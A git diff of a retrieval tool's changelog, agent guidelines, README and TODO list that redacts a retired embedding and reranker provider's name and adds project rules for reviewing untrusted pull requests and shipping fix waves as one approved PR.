-**Switch to ZeroEntropy embeddings on either supported plane.** Set `embedding_model: zeroentropyai:zembed-1` and `embedding_dimensions: 2560` (or any of the 7 Matryoshka dims: 1280/640/320/160/80/40) in `~/.gbrain/config.json`, or export `GBRAIN_EMBEDDING_MODEL=zeroentropyai:zembed-1` + `GBRAIN_EMBEDDING_DIMENSIONS=2560`. The `gbrain config set` plane intentionally does NOT live-switch embedding models — they size the schema and must stay stable across engine connects. `gbrain models doctor` now probes the ZE config before spending any tokens, so an invalid `embedding_dimensions` value (the most common trip: leaving it unset and falling back to 1536, which ZE rejects) gets caught at install time with a paste-ready fix hint.
+**Switch to retired hosted provider embeddings on either supported plane.** Set `embedding_model: retired-provider:retired-embedding-1` and `embedding_dimensions: 2560` (or any of the 7 Matryoshka dims: 1280/640/320/160/80/40) in `~/.gbrain/config.json`, or export `GBRAIN_EMBEDDING_MODEL=retired-provider:retired-embedding-1` + `GBRAIN_EMBEDDING_DIMENSIONS=2560`. The `gbrain config set` plane intentionally does NOT live-switch embedding models — they size the schema and must stay stable across engine connects. `gbrain models doctor` now probes the retired provider config before spending any tokens, so an invalid `embedding_dimensions` value (the most common trip: leaving it unset and falling back to 1536, which retired provider rejects) gets caught at install time with a paste-ready fix hint.
-**Get cross-encoder reranking on every tokenmax query, automatically.** `tokenmax` mode now defaults `search.reranker.enabled = true` with `zerank-2` as the model. The cost is ~$0.0003/query at 30-document topNIn (~12K tokens × $0.025/1M) — rounding error against the tier's existing $700/mo @ Opus pairing per the CLAUDE.md cost matrix. `balanced` and `conservative` modes default reranker off; opt in with `gbrain config set search.reranker.enabled true`. The reranker re-orders the top 30 deduped candidates by cross-encoder relevance and preserves the un-reranked long tail in its original RRF order, so recall is protected even when the reranker drops items.
+**Get cross-encoder reranking on every tokenmax query, automatically.** `tokenmax` mode now defaults `search.reranker.enabled = true` with `retired-reranker-2` as the model. The cost is ~$0.0003/query at 30-document topNIn (~12K tokens × $0.025/1M) — rounding error against the tier's existing $700/mo @ Opus pairing per the CLAUDE.md cost matrix. `balanced` and `conservative` modes default reranker off; opt in with `gbrain config set search.reranker.enabled true`. The reranker re-orders the top 30 deduped candidates by cross-encoder relevance and preserves the un-reranked long tail in its original RRF order, so recall is protected even when the reranker drops items.
**Search keeps working when the reranker is flaky.** Every error class — auth, rate-limit, network, timeout, payload-too-large — fails open. The original RRF order passes through unchanged and the failure logs to `~/.gbrain/audit/rerank-failures-YYYY-Www.jsonl` (ISO-week rotation, mirrors the slug-fallback audit). `gbrain doctor` reads the audit and warns on any auth failure (config-time problem doctor's own probe should have caught) and on >=5 transient failures in the last 7 days. The check reads `search.reranker.enabled` first so "no events" means different things when reranker is on vs off (disabled = healthy by definition; enabled = healthy because nothing has failed yet).
-**Use asymmetric query/document encoding where the provider supports it.** ZE zembed-1 and Voyage v3+ models accept an `input_type: 'query' | 'document'` knob for asymmetric retrieval. Hybrid search's two query-side embed sites (`hybrid.ts:400` vector seed and `hybrid.ts:629` cache lookup) now call a new `embedQuery()` companion that threads `input_type: 'query'`. All ingest paths (sync, import, embed CLI) continue using `embed()` which defaults to document encoding. Symmetric providers (OpenAI text-3, DashScope, Zhipu) ignore the field — no behavior change. MiniMax embo-01's asymmetric quirk stays as it was; opting it into the new seam is a deferred follow-up.
+**Use asymmetric query/document encoding where the provider supports it.** retired provider retired-embedding-1 and Voyage v3+ models accept an `input_type: 'query' | 'document'` knob for asymmetric retrieval. Hybrid search's two query-side embed sites (`hybrid.ts:400` vector seed and `hybrid.ts:629` cache lookup) now call a new `embedQuery()` companion that threads `input_type: 'query'`. All ingest paths (sync, import, embed CLI) continue using `embed()` which defaults to document encoding. Symmetric providers (OpenAI text-3, DashScope, Zhipu) ignore the field — no behavior change. MiniMax embo-01's asymmetric quirk stays as it was; opting it into the new seam is a deferred follow-up.
**Cache key versioning is bumped to v=2.** `KNOBS_HASH_VERSION` rolls 1 → 2 to fold the five new reranker fields (`reranker_enabled`, `reranker_model`, `reranker_top_n_in`, `reranker_top_n_out`, `reranker_timeout_ms`) into the `query_cache.knobs_hash` column. A tokenmax-with-reranker cache write can't be served to a reranker-off lookup. Mid-rolling-deploy operators should expect a temporary cache hit-rate dip and a brief doubling of cache rows for hot queries — v=1 rows TTL out within `cache.ttl_seconds` (default 3600s), then the hit rate recovers.
### Itemized changes
-- `src/core/ai/recipes/zeroentropyai.ts` declares the new recipe with `implementation: 'openai-compatible'` (NOT the misspelled `'openai-compat'` the original plan draft had — pinned by F1 regression test). Both `touchpoints.embedding` (`zembed-1`, 7 Matryoshka dims) and `touchpoints.reranker` (`zerank-2` / `zerank-1` / `zerank-1-small`, 5MB payload cap) are declared.
-- `src/core/ai/gateway.ts` adds `zeroEntropyCompatFetch` — a fetch wrapper that rewrites the request URL from `/embeddings` to `/models/embed` (since ZE is NOT OpenAI-compatible at the wire level), injects `input_type` + explicit `encoding_format: 'float'`, and rewrites the response from `{results: [{embedding}]}` to `{data: [{embedding, index}]}` with `usage.prompt_tokens` added (Voyage's shim hit the same SDK schema requirement at `:655`). Layer 1 (Content-Length) + Layer 2 (per-embedding) OOM caps mirror Voyage's pattern via a new `ZeroEntropyResponseTooLargeError` class.
+- `src/core/ai/recipes/retired-provider.ts` declares the new recipe with `implementation: 'openai-compatible'` (NOT the misspelled `'openai-compat'` the original plan draft had — pinned by F1 regression test). Both `touchpoints.embedding` (`retired-embedding-1`, 7 Matryoshka dims) and `touchpoints.reranker` (`retired-reranker-2` / `retired-reranker-1` / `retired-reranker-1-small`, 5MB payload cap) are declared.
+- `src/core/ai/gateway.ts` adds `retiredProviderCompatFetch` — a fetch wrapper that rewrites the request URL from `/embeddings` to `/models/embed` (since retired provider is NOT OpenAI-compatible at the wire level), injects `input_type` + explicit `encoding_format: 'float'`, and rewrites the response from `{results: [{embedding}]}` to `{data: [{embedding, index}]}` with `usage.prompt_tokens` added (Voyage's shim hit the same SDK schema requirement at `:655`). Layer 1 (Content-Length) + Layer 2 (per-embedding) OOM caps mirror Voyage's pattern via a new `RetiredProviderResponseTooLargeError` (historical identifier) class.
- `gateway.rerank()` is the new native HTTP path — no AI-SDK reranking abstraction exists. Returns `RerankResult[]` sorted by `relevanceScore`; errors classify into `RerankError.reason` (`auth | rate_limit | network | timeout | payload_too_large | unknown`). 5-second default timeout (search hot path; long stalls degrade UX worse than fallthrough). Pre-flight payload guard rejects bodies over the recipe's `max_payload_bytes` cap so the caller can fail-open without an HTTP call. `_rerankTransport` test seam mirrors `_embedTransport`.
- `gateway.embedQuery(text)` companion routes `inputType: 'query'` through `dimsProviderOptions()` (now a 4-arg signature; the 4th `inputType` param defaults to undefined for back-compat). `src/core/embedding.ts` re-exports it; `hybrid.ts` flips the two query-side embed call sites.
- `src/core/search/rerank.ts` is the call-site abstraction. `applyReranker(query, results, opts)` slices the top `opts.topNIn` candidates, re-orders by reranker score, appends the un-reranked tail, and optionally truncates to `opts.topNOut`. `topNOut: null` is the explicit "don't truncate" signal — distinct from undefined which means "fall through to mode bundle" (per the CDX2-F16 null-vs-undefined contract).
@@ -20055,18 +20155,18 @@ ZeroEntropy ships two specialized small models that target the two weakest retri
- `src/core/ai/types.ts` widens `TouchpointKind` with `'reranker'`, adds `RerankerTouchpoint` interface, and extends `Recipe.touchpoints` and `AIGatewayConfig` with the reranker fields. `src/core/ai/model-resolver.ts` widens `KnownTouchpointKey` and `getTouchpoint()` to thread reranker. `assertTouchpoint()` does NOT enforce allowlists for openai-compatible recipes (existing v0.31.12 behavior); `rerank()` and `probeRerankerConfig` do the allowlist check directly so a typo'd `search.reranker.model` surfaces at probe time, not first call.
- `src/commands/models.ts` adds `probeRerankerConfig` (zero-network: model + touchpoint + allowlist) and `probeRerankerReachability` (1-token-equivalent: minimal rerank against real API). Both surface paste-ready `gbrain config set` fix hints. `ProbeResult.touchpoint` widens to include `'reranker_config'`.
- `src/commands/doctor.ts` adds `checkRerankerHealth`. Reads `search.reranker.enabled` first; warns on any auth failure (singular signal) or >=5 transient failures (volume signal) in the last 7 days. Engine-agnostic (file-based + one config-key read).
-- New tests: `test/ai/zeroentropy-recipe.test.ts`, `test/ai/dims-zeroentropy.test.ts`, `test/search/rerank.test.ts`, `test/rerank-audit.test.ts` — 42 cases pinning recipe shape, dim allowlist, 4th-arg inputType plumbing, reranker fail-open across every error class, null-vs-undefined topNOut semantics, and the no-success-logging contract.
+- New tests: `test/ai/retired-provider-recipe.test.ts`, `test/ai/dims-retired-provider.test.ts`, `test/search/rerank.test.ts`, `test/rerank-audit.test.ts` — 42 cases pinning recipe shape, dim allowlist, 4th-arg inputType plumbing, reranker fail-open across every error class, null-vs-undefined topNOut semantics, and the no-success-logging contract.
- The plan that drove this release went through two Codex rounds (47 source-grounded findings across consult + adversarial challenge) before any code was written. Every must-fix landed; nine deferred bugs (the cache-wrapper double-embed, MiniMax embo-01 asymmetry, openai-compat allowlist gap, cache-hit limit/budget divergence) are documented in the plan file at `~/.claude/plans/system-instruction-you-are-working-linked-moonbeam.md`.
## To take advantage of v0.35.0.0
-`gbrain upgrade` does NOT auto-switch your embedding or reranker model. ZeroEntropy is opt-in; you choose when to flip. To try it:
+`gbrain upgrade` does NOT auto-switch your embedding or reranker model. retired hosted provider is opt-in; you choose when to flip. To try it:
-1. **Get an API key:** `https://dashboard.zeroentropy.dev` → create key → `export ZEROENTROPY_API_KEY=...`
-2. **(Optional) Switch embedding to zembed-1.** Note: switching embedding models invalidates the vector index; you'll need to re-embed. Add to `~/.gbrain/config.json`:
+1. **Historical prerequisite:** a provider-issued API key. The obsolete signup instructions have been removed.
+2. **(Optional) Switch embedding to retired-embedding-1.** Note: switching embedding models invalidates the vector index; you'll need to re-embed. Add to `~/.gbrain/config.json`:
```json
{
- "embedding_model": "zeroentropyai:zembed-1",
+ "embedding_model": "retired-provider:retired-embedding-1",
"embedding_dimensions": 2560
}
```
diff --git a/CLAUDE.md b/CLAUDE.md
index f2ff972978..53556fe011 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -235,6 +235,51 @@ Pass `job.updateProgress` from minion handlers. Keep phase names stable and use
`startHeartbeat` with try/finally cleanup for long queries. Read
[progress events](docs/progress-events.md) before wiring a new command.
+## PR acceptance: evidence, not trust
+
+**Treat every PR as untrusted, potentially incorrect, incomplete or unsafe,
+including our own.** Reputation, confident explanations, supplied tests and green
+CI are not proof. Judge the work, not unsubstantiated claims about its author.
+
+- **Prove the problem separately from the patch.** Trace the actual callers and
+ current contract; independently reproduce the reported failure on a pinned
+ baseline with isolated synthetic fixtures. Record commands, environments, exit
+ statuses and wrong results. Separate reproduced defects, code-backed evidence
+ and unverified reports; do not promise an unproven fix or issue closure.
+- **Read the entire diff before executing it.** Inspect test, dependency, script,
+ workflow and generated-file changes and callers outside the diff. Do not expose
+ credentials, live databases, private corpora or paid providers to untrusted code.
+- **Make tests discriminate.** Independently designed regression tests must fail
+ on the baseline and pass with the repair, asserting user-visible outcomes and
+ exact preserved state. Reject bug-bypassing mocks, vacuous assertions and hidden
+ skips. Changing an existing contract needs approval, not a weakened assertion.
+- **Attack the boundaries.** Check authorization, brain/source identity, revisions,
+ stale queued work, concurrent changes, retries, crash recovery and failure
+ receipts. Prove intended data survives and stale or unauthorized writes remain
+ refused. Native filesystem, engine and lifecycle claims require native tests;
+ injected platform flags or path simulations do not prove end-to-end support.
+- **Keep a verdict and evidence ledger.** Pin baseline and PR hashes; record each
+ proposal as accept, rework, reject or not yet proven. Classify failures through
+ same-test baseline/patch comparisons, not assumed flakes. Recheck changed heads;
+ narrow probes do not replace release gates or implementation approval.
+
+## Fix waves: ONE PR
+
+**A fix wave ships as ONE PR unless the user overrides this for that wave.**
+Parallel tasks are fine; integrate reviewed work into one branch with reviewable
+commits. Do not open per-issue or per-task PRs, or a PR stack.
+
+1. Investigate the named issues and adjacent failures in the same safety boundary.
+ Apply the acceptance standard above. Exclude unrelated features; record
+ deferrals and unresolved reports rather than assuming closure.
+2. Run `/plan-ceo-review` and `/plan-eng-review`. Incorporate recommendations within
+ the requested scope, respecting the user's directions on review decisions.
+ Explain the revised plan in plain language (ELI10) and wait for approval before
+ product implementation. A plan review is not implementation or merge consent.
+3. Implement only the approved scope, integrate and verify the whole wave, then
+ use `/ship` and the full gates in [docs/RELEASING.md](docs/RELEASING.md), including
+ the community-wave security scan. Publish one PR; do not merge without approval.
+
## Capturing test output (NEVER pipe through `tail` / `head`)
Preserve full logs and the real exit status; piping tests into `tail` can hide
diff --git a/INSTALL_FOR_AGENTS.md b/INSTALL_FOR_AGENTS.md
index f3de12d076..81bb183889 100644
--- a/INSTALL_FOR_AGENTS.md
+++ b/INSTALL_FOR_AGENTS.md
@@ -70,11 +70,11 @@ GBrain is keyless. Explain these boundaries before enabling a capability; see
Skip API-key setup for the initial keyless memory path. If the user enables semantic retrieval or paid enrichment, configure the selected provider explicitly. GBrain defaults to the Voyage embedding + reranker stack
(`voyage:voyage-4` @ 1024d + `voyage:rerank-2.5` — one key covers both); OpenAI is the
-main alternative, chosen at init via `--embedding-model <provider:model>`. ZeroEntropy
-is deprecated (its hosted API shuts down 2026-09-04): init auto-pick and the picker
-exclude it, and every ZE embed/rerank prints a deprecation warning. **Existing brain
-still on ZeroEntropy (or any need to switch embedding/reranker models later)?** Follow
-the playbook at `skills/migrations/v0.46.3.0.md` — one command migrates both.
+main alternative, chosen at init via `--embedding-model <provider:model>`.
+**Need to switch an existing brain's embedding or reranker model?** Follow
+the explicit-consent playbook at `skills/migrations/v0.46.3.0.md`. Preview the
+work and cost, obtain approval, then migrate; an upgrade never converts existing
+vectors or authorizes a paid re-embed.
```bash
export VOYAGE_API_KEY=pa-... # default embedding + reranker (one key covers both)
diff --git a/README.md b/README.md
index 8ea542eff6..c7fae8a5e7 100644
--- a/README.md
+++ b/README.md
@@ -368,8 +368,8 @@ Data flowing into the brain. Each integration is a recipe — markdown + setup h
- **Voice**: Phone calls create brain pages via Twilio + OpenAI Realtime (or DIY STT+LLM+TTS). Setup recipe: [`recipes/twilio-voice-brain.md`](recipes/twilio-voice-brain.md).
- **Gmail + Calendar + Contacts (native)**: the google source kind syncs threads, events, and contacts through your own OAuth client and runs the open-loop engine on top (`gbrain waiting`). Setup: [`docs/guides/google-connect.md`](docs/guides/google-connect.md); recipes: [`recipes/email-to-brain.md`](recipes/email-to-brain.md), [`recipes/calendar-to-brain.md`](recipes/calendar-to-brain.md).
- **Email + calendar (webhooks)**: webhook handlers that route to brain signals. [`docs/integrations/meeting-webhooks.md`](docs/integrations/meeting-webhooks.md).
-- **Embedding providers**: a dozen providers covered — Voyage (default: `voyage-4` @ 1024d), OpenAI, OpenRouter, Google Gemini, Azure OpenAI, MiniMax, Alibaba DashScope, Zhipu, Ollama (local), llama.cpp llama-server (local), LiteLLM proxy, plus ZeroEntropy (deprecated — hosted API ends 2026-09-04). Pricing matrix + decision tree in [`docs/integrations/embedding-providers.md`](docs/integrations/embedding-providers.md).
-- **Rerankers**: Voyage `rerank-2.5` hosted (the default; reranking is on in `balanced` and `tokenmax` modes, same `VOYAGE_API_KEY` as embeddings; the preview `rerank-3` / `rerank-3-lite` are selectable with `gbrain config set search.reranker.model voyage:rerank-3`), ZeroEntropy `zerank-2` (deprecated — hosted API ends 2026-09-04; an explicit config short-circuits past that date), plus the `llama-server-reranker` recipe for fully-local cross-encoder rerank via llama.cpp — runs Qwen3-Reranker or self-hosted zerank weights against the same `gateway.rerank()` seam. Setup walkthrough in [`docs/ai-providers/llama-server-reranker.md`](docs/ai-providers/llama-server-reranker.md).
+- **Embedding providers**: Voyage (new-install default: `voyage-4` @ 1024d), OpenAI, OpenRouter, Google Gemini, Azure OpenAI, MiniMax, Alibaba DashScope, Zhipu, Ollama (local), llama.cpp llama-server (local), LM Studio, Together, and LiteLLM proxy. Pricing matrix + decision tree in [`docs/integrations/embedding-providers.md`](docs/integrations/embedding-providers.md). Existing vectors are never converted by changing the default; use the explicitly approved [embedding migration](docs/guides/embedding-migration.md).
+- **Rerankers**: Voyage `rerank-2.5` hosted (the default; reranking is on in `balanced` and `tokenmax` modes, same `VOYAGE_API_KEY` as embeddings; the preview `rerank-3` / `rerank-3-lite` are selectable with `gbrain config set search.reranker.model voyage:rerank-3`), plus the `llama-server-reranker` recipe for fully-local cross-encoder rerank via llama.cpp running Qwen3-Reranker against the same `gateway.rerank()` seam. Setup walkthrough in [`docs/ai-providers/llama-server-reranker.md`](docs/ai-providers/llama-server-reranker.md).
- **Credential vault + gateway**: `gbrain creds` manages OAuth and API credentials in a local vault ([`recipes/credential-gateway.md`](recipes/credential-gateway.md)); agent-side vault-aware secret distribution: [`docs/integrations/credential-gateway.md`](docs/integrations/credential-gateway.md).
- **MCP clients**: every major MCP client is supported. [`docs/mcp/`](docs/mcp/) per-client setup.
- **Memorable (procedural memory)**: optional, off by default. Your brain remembers *what* happened; Memorable makes your agent remember *how* — finished sessions become replayable procedures stored on your machine (in a standalone local store, or inside your brain database if you opt in), recalled when a similar task comes back. See the section below, and [`docs/memorable-agents.md`](docs/memorable-agents.md) for the agent-facing detail.
@@ -452,4 +452,4 @@ MIT. I built GBrain to run my OpenClaw and Hermes deployments — the production
Origin story: [`docs/ethos/ORIGIN.md`](docs/ethos/ORIGIN.md).
-Community PR contributors are credited in `CHANGELOG.md` per release. ZeroEntropy ([@zeroentropy](https://zeroentropy.dev)) for the ZeroEntropy embedding + reranker integration. Voyage AI for the asymmetric-encoding recipe template. Ramp Labs for the search quality improvements lineage.
+Community PR contributors are credited in `CHANGELOG.md` per release. Attribution for the retired provider's historical embedding and reranker integration remains in Git at `6040075c6cb95be5881cc2e1b76ef7d71f4e5d29`. Voyage AI for the asymmetric-encoding recipe template. Ramp Labs for the search quality improvements lineage.
diff --git a/TODOS.md b/TODOS.md
index 5e38393968..89ea88cdad 100644
--- a/TODOS.md
+++ b/TODOS.md
@@ -172,7 +172,7 @@
**Effort:** S. **Priority:** P3.
- [ ] **P3 — `scripts/r1-namedthing-rerank-ab.ts`: refuse an implicit embedder and print the fixture set in the verdict header.**
**What:** without `GBRAIN_EMBEDDING_MODEL` the script fell back to the
- gateway's stale ZeroEntropy default and exit-2'd at auth after reserving
+ gateway's stale retired hosted provider default and exit-2'd at auth after reserving
spend; without `--relational --limit 10` it silently ran the 12 core
questions at page size 3 and printed a PASS that was not the receipt anyone
wanted. **Fix:** require an explicit embedder (env or flag) and put
@@ -1353,7 +1353,7 @@ deferred M-effort issues above are NOT repeated here.
setupRun/teardownRun; bank the baseline in the same commit). Context: outside-voice F5.
- [ ] **P2 — Per-model calibration for `search.evidence_cosine_floor` (0.80) and
`search.autocut_min_top` (0.35).** Both are provider-scale-dependent; both are
- config-overridable today. The reranker default flip (zerank-2 →
+ config-overridable today. The reranker default flip (retired-reranker-2 →
voyage:rerank-2.5) shipped in v0.48.2.0 WITHOUT re-tuning autocut_min_top: the
re-tune was rule R2 of the ranker wave's pre-registered rerank A/B. **R2
DECIDED (v0.48.4.0, 2026-09-06):** the shipped default (reranker on, autocut
@@ -1992,7 +1992,7 @@ deferred M-effort issues above are NOT repeated here.
leak in the dispatch suite's teardown; noticed while triaging the v0.48.2.0 ship.
**Priority:** P3.
-## v0.47 SEPTEMBER REMOVAL — ZeroEntropy (filed v0.46.3.0; TARGET: ship 2026-09-04..2026-09-08)
+## v0.47 SEPTEMBER REMOVAL — retired hosted provider (filed v0.46.3.0; TARGET: ship 2026-09-04..2026-09-08)
<!-- 2026-08-29 fix-wave addenda for the removal executor:
(a) A post-sunset short-circuit now ships ahead of this wave (refs #3657):
@@ -2003,7 +2003,7 @@ deferred M-effort issues above are NOT repeated here.
(b) Default-swap decision input from the issue thread: two independent
corpus reports found reranking actively HURT (2k-page personal brain —
three rerankers demoted short entity pages; 19k-page Japanese corpus —
- zerank-2 itself 0/6 vs OFF). DECISION (v0.48.2.0, 2026-09-02): the
+ retired-reranker-2 itself 0/6 vs OFF). DECISION (v0.48.2.0, 2026-09-02): the
default flipped to voyage:rerank-2.5 in ALL three bundles ahead of the
sunset (a dead default is strictly worse than an unmeasured live one);
balanced ON/OFF (rule R1) is decided by rerank-ON vs OFF on
@@ -2025,75 +2025,29 @@ deferred M-effort issues above are NOT repeated here.
the P2 calibration TODO above) is rule R2 of the same A/B. -->
-ZeroEntropy's hosted API dies 2026-09-04. v0.46.3.0 deprecated it (split-default:
-new installs → voyage; legacy runtime fallbacks stay ZE; detect-and-notify
-migration). The removal wave deletes the provider and performs the hard cutover.
-Staged-deletion discipline (ship replacements → migrate call sites → update tests
-→ THEN delete; see the skills/_brain-filing-rules precedent below):
-
-- [ ] **P1 — HARD CUTOVER: retire the legacy configless runtime fallbacks.**
- `DEFAULT_EMBEDDING_MODEL`/`DEFAULT_EMBEDDING_DIMENSIONS` (src/core/ai/defaults.ts)
- stop resolving to `zeroentropyai:*`; unmigrated configless brains get a HARD,
- actionable error naming `gbrain migrate embeddings --to voyage:voyage-4 --dim 1024`.
- The reranker half is DONE (v0.48.2.0): `DEFAULT_RERANKER_MODEL` lives in
- defaults.ts and the three mode-bundle `reranker_model` values resolve to
- `voyage:rerank-2.5`; the one-time all-modes knobs-hash cache miss was documented
- in that CHANGELOG. `LEGACY_DEFAULT_RERANKER_MODEL` + the `RERANKER_SUNSETS` row
- stay until the recipe itself is deleted here. Verify the schema
- generators' legacy-constant consumers (pglite-schema, postgres-engine,
- embedding-column.ts registry fallback) get a deliberate post-ZE story.
-- [ ] **P1 — PREREQ before recipe deletion: move gateway.ts's `'/models/rerank'`
- default path onto explicit per-recipe `path` fields.** llama-server-reranker and
- dashscope-rerank may ride the implicit ZE-shaped fallback — audit + pin with tests
- FIRST or their rerank calls 404 the day the fallback goes.
-- [ ] **P1 — Delete the provider surface.** `src/core/ai/recipes/zeroentropyai.ts` +
- registry entries (recipes/index.ts); `zeroEntropyCompatFetch`,
- `MAX_ZEROENTROPY_RESPONSE_BYTES`, `ZeroEntropyResponseTooLargeError` + the
- fetch-ternary arm (gateway.ts); ZE sets in dims.ts; `ze-switch.ts` +
- `retrieval-upgrade-planner.ts` + cli.ts dispatch/CLI_ONLY/CLI_ONLY_SELF_HELP/
- SELF_HELP_WITHOUT_ENGINE/flag-registry rows; `checkZeEmbeddingHealth` in doctor
- (`provider_sunset` STAYS and goes generic — read `recipe.sunset` instead of the
- hardcoded ZE constants); pricing rows LAST (budget-tracker rerank metering reads
- them for historical audit rows). NOTE: test/ai/zeroentropy-compat-fetch.test.ts
- greps gateway.ts SOURCE TEXT — delete the test with the code, in the same commit.
- ALREADY DONE by the interim ZE cleanup wave (pre-Sept): `retrieval-upgrade-prompt.ts`
- deleted (banner/marketing copy gone); `ze-switch.ts` is now a ~170-line pure
- refusal/redirect shim (undo/dry-run ACTIONS retired — apply/undo wrote DB-plane
- config the file-plane-canonical runtime never read); `providers env`/`explain` are
- sunset-aware via the shared `sunsetMarker` in providers.ts (generic on
- `recipe.sunset` — the removal wave inherits it); `ze_embedding_health`'s missing-key
- copy is migration-first (the check itself still gets deleted here).
-- [ ] **P1 — Self-host continuity decision.** The v0.46.3 playbook's zero-re-embed
- path keeps the `zeroentropyai:zembed-1` id behind a base-URL override to a
- ZE-wire-compatible endpoint. Recipe deletion breaks it. Decide: keep a minimal
- local-only recipe shell (no picker/auto-pick, no hosted default URL), ship a
- signature-migration tool (rewrite pages.embedding_signature provider ids without
- re-embedding), or explicitly end the promise with a loud migration note. The
- playbook (skills/migrations/v0.46.3.0.md) links here — honor it.
-- [ ] **P2 — Tests + CI.** Delete the 8 ZE-dedicated test files
- (zeroentropy-recipe, zeroentropy-compat-fetch, dims-zeroentropy,
- e2e/zeroentropy-live, ze-switch-cli [now pins the shim contract — dies with the
- shim], ze-switch-env-override [pins the planner's test-only functions],
- doctor-ze-checks, provider-sunset-doctor.serial gets REWRITTEN generic not
- deleted) + update ~40 coupled files; drop the zeroentropy-live job +
- ZEROENTROPY_API_KEY secret from .github/workflows/e2e.yml:239,250,377 (line refs
- refreshed by the interim cleanup wave; already date-skip-gated since v0.46.3);
- scripts/test-weights.json rows. Also remove 'ze-switch' from the
- cli-help-without-brain HELP_WITHOUT_BRAIN list when the shim dies.
-- [ ] **P2 — Config + docs.** `zeroentropy_api_key` config key: keep
- parseable-but-warned (removing it would make old config.json files fail to
- load); delete docs/ai-providers/zeroentropy.md + its scripts/llms-config.ts
- entry (+ `bun run build:llms`); v0.46.3 migration stays registered and must
- degrade gracefully once the recipe is gone (notice-only — verify its copy).
+The hosted provider retired on 2026-09-04. This section was filed in
+v0.46.3.0; the historical comparison above retains its original measurements.
+Provider and model identifiers are redacted archival labels, not supported
+configuration. Original identifiers and task detail are preserved at Git revision
+`6040075c6cb95be5881cc2e1b76ef7d71f4e5d29` (retained on 2026-09-23).
+
+The current removal wave deletes the provider surface and obsolete switch
+command. It does not change stored vector provenance, auto-migrate a brain,
+or preserve the removed provider-ID self-hosting workaround. Existing brains
+must choose a supported target and explicitly approve a migration using
+`gbrain migrate embeddings`; preview cost and inspect the database first.
+Final integration verification is owned by the removal wave, not this historical
+checklist. The independent follow-ups below remain open.
+
- [ ] **P2 — Custom-column off-ramp (not removal-gated, but September makes it
urgent for affected users).** Write-side custom-column migration
(`gbrain embed --column X --model Y`, embedding-column.ts:60-62 v2 deferral) so
- ZE-backed `embedding_columns` entries get an executable migration instead of
+ retired provider-backed `embedding_columns` entries get an executable migration instead of
drop-and-re-embed guidance.
-- [ ] **P3 — Optional `cohere-rerank` recipe.** Cohere rerank-4.0-pro is the
- strongest surviving hosted reranker (Agentset ELO 1629, behind only the dying
- zerank-2) for users who want max rerank quality on a dedicated key. Wire shape
- differs from the ZE/voyage dialect — needs its own `top_param`/response mapping
+- [ ] **P3 — Optional `cohere-rerank` recipe.** Cohere rerank-4.0-pro is a
+ hosted reranker candidate (historical Agentset ELO 1629, behind the
+ retired hosted reranker in that snapshot) for users who want max rerank quality on a dedicated key. Wire shape
+ differs from the retired provider/voyage dialect — needs its own `top_param`/response mapping
audit. Filed from the v0.46.3 CEO review (deferred cherry-pick).
- [ ] **P3 — Standalone reranker config-set should purge the query cache.**
`gbrain config set search.reranker.model ...` (the playbook's manual path)
@@ -2266,7 +2220,7 @@ Each was explicitly deferred in the pass's CEO/eng/outside-voice reviews.
template-database entry below in this file (CREATE DATABASE … TEMPLATE, ~50ms).
**Current status:** selected E2E is on the measured PR critical path. Four isolated weighted CI workers now address it without moving tests between lanes; PGLite-only lane moves remain deferred. **Effort:** M. **Priority:** P2.
- [ ] **Second PGLite snapshot keyed by dims/model.** Implemented for BrainBench default-profile CLI children in the CI optimization pass; extending reuse to other deliberately reconfigured tests remains deferred. **What:** ~34 test files
- configure zembed/1280 and always cold-init (the snapshot's shape gate correctly
+ configure retired-embedding/1280 and always cold-init (the snapshot's shape gate correctly
refuses the 1536 fixture). Bake a second snapshot per shape; the version-file
format already carries dims/model. **Why deferred:** moderate effort, small win,
and it interacts with the shape gate the memoized loader deliberately keeps hot.
@@ -3703,14 +3657,14 @@ GSTACK REVIEW REPORT at
`finishCliTeardown` (`src/core/cli-force-exit.ts`) is exactly the shared
drain-before-disconnect helper this item asked for, and ALL NINE cli.ts
disconnect sites route through it (op-dispatch, fall-through, dream, doctor
- ×3, ze-switch, search dashboard, read-only timeout path). Structural guard:
+ ×3, retired-provider-switch, search dashboard, read-only timeout path). Structural guard:
no bare `await engine.disconnect()` remains in cli.ts
(`test/fix-wave-structural.test.ts` `#2084` describe).
- [ ] **P2 — command-module `process.exit` sites bypass the #2084 teardown
contract.** Several CLI_ONLY command modules exit directly on their normal
paths (`doctor.ts` ~10 sites incl. its verdict exit, `dream.ts` ~23,
- `ze-switch.ts` ~9, plus friction/claw-test/eval verdict exits in cli.ts) —
+ `retired-provider-switch.ts` ~9, plus friction/claw-test/eval verdict exits in cli.ts) —
those exits preempt the call-site `finally`, so the background-work drain,
bounded disconnect, and `flushThenExit` grace are all skipped on those paths
(pre-existing class, NOT introduced by #2084; pre-fix the same exits skipped
@@ -5603,7 +5557,7 @@ contributor traps.
## v0.41+ e2e-test-wave follow-ups (filed during v0.40.8.0 ship)
-- [ ] **NEW-1 (P2) — Per-check leaf unit tests for the 20+ exported doctor check functions.** `src/commands/doctor.ts:169-1492` exports whoknowsHealthCheck, takesWeightGridCheck, childTableOrphansCheck, checkRerankerHealth, checkBrainstormHealth, checkSearchMode, checkEvalDrift, checkSyncFreshness, checkAbandonedThreads, checkCalibrationFreshness, checkGradeConfidenceDrift, checkVoiceGateHealth, checkZeEmbeddingHealth, checkEmbeddingWidthConsistency, checkSourceRoutingHealth, checkOauthConfidentialHealth, checkAutopilotLockScope, skillBrainFirstCheck. v0.40.8.0 covers them via the orchestrator only. Parameterize a single `test/doctor-leaves.test.ts` over the exported functions; each case seeds the minimum DB state and asserts the returned `Check.status`. Catches per-check render bugs the orchestrator snapshot can't see (codex CMT-2 deep fix). Estimated ~4h CC.
+- [ ] **NEW-1 (P2) — Per-check leaf unit tests for the 20+ exported doctor check functions.** `src/commands/doctor.ts:169-1492` exports whoknowsHealthCheck, takesWeightGridCheck, childTableOrphansCheck, checkRerankerHealth, checkBrainstormHealth, checkSearchMode, checkEvalDrift, checkSyncFreshness, checkAbandonedThreads, checkCalibrationFreshness, checkGradeConfidenceDrift, checkVoiceGateHealth, checkEmbeddingWidthConsistency, checkSourceRoutingHealth, checkOauthConfidentialHealth, checkAutopilotLockScope, skillBrainFirstCheck. v0.40.8.0 covers them via the orchestrator only. Parameterize a single `test/doctor-leaves.test.ts` over the exported functions; each case seeds the minimum DB state and asserts the returned `Check.status`. Catches per-check render bugs the orchestrator snapshot can't see (codex CMT-2 deep fix). Estimated ~4h CC.
